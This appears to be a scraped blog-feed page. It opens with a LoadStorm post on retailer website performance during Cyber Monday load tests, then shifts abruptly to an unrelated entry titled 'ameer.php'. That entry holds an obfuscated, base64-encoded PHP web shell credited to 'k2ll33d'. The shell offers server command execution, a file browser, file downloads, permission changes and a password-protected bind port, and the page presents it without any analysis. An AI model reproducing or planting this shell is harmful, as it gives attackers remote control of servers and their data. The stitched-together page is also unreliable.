(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/194c7614fc474339822c76ea35d9b2b2?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Performance Error Rates increased.

Our preliminary load tests revealed zero performance errors across the board, with one exception. Monday, however, was a different story, as we saw five different companies experience performance errors. This included request read timeouts, request connection timeouts, and even some 503 (service unavailable) errors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/cd90449da4a34cd586241f49db236220?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

The exception to the increase in performance error rates was Best Buy. Interestingly, we saw Best Buy experience seven request read timeout errors on Wednesday (on product pages and search results), but none on Monday. This seems to corroborate the fact that they became overwhelmed with traffic over the weekend, but they appeared to have recovered gracefully by Cyber Monday.

Peak Page Completion Times increased.

Every site we tested experienced high peak completion times. Some of the best performers with the lowest peak page completion time on both Wednesday and Cyber Monday included Toys “R” Us, Brookstone (one of our customer’s – yay!), Ikea, and Amazon, with peak page completion time only deviating 7% from their mean.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/0ed451f83e094382885704f17ecb83da?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Web Page Test Results

Web page tests were on each company’s home page were performed during testing on Wednesday and Monday as well. Surprisingly, the overall trend was a decrease in page load times. The average page load time from our web page tests decreased from 9.3 seconds to 5.6 seconds. We’re impressed!

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/f38d4bebb28d402ebd112aff763d6878?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Overall Performance

Nobody crashed while we were running our performance tests. Most sites appeared to perform reasonably well, but knowing that just one second delay could cost Amazon over $1.6 billion in sales over the course of a year those few errors matter immensely. Just 250 milliseconds, either slower or faster, is the magic number for competitive advantage on the web. So while none of the sites crashed entirely, whether or not they beat out their competition is another story.

Curious about how your site is performing? Try a free quickstorm instantly by entering your site’s URL here!

Please note that none of the companies involved were contacted nor paid for participation in our experiments. These were just for fun. Here’s the complete list of the companies we tested:

  • Walmart
  • Macy’s
  • JCPenny
  • Amazon
  • Target
  • Victoria’s Secret
  • Finish Line
  • Best Buy
  • Toys “R” Us
  • Urban Outfitters
  • Crate and Barrel
  • Barnes and Noble
  • Nordstrom
  • Newegg
  • PC Mall
  • Ann Taylor
  • Motorola
  • Avon
  • Footlocker
  • Brookstone
  • Kohls
  • Radioshack
  • Ebay
  • Argos
  • Ikea
  • Home Depot
  • Office Depot
  • Staples
  • Sam’s Club

The post Cyber Monday Performance Evaluations appeared first on LoadStorm.

ameer.php

Testing Reflections - Wed, 12/10/2014 - 06:51
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+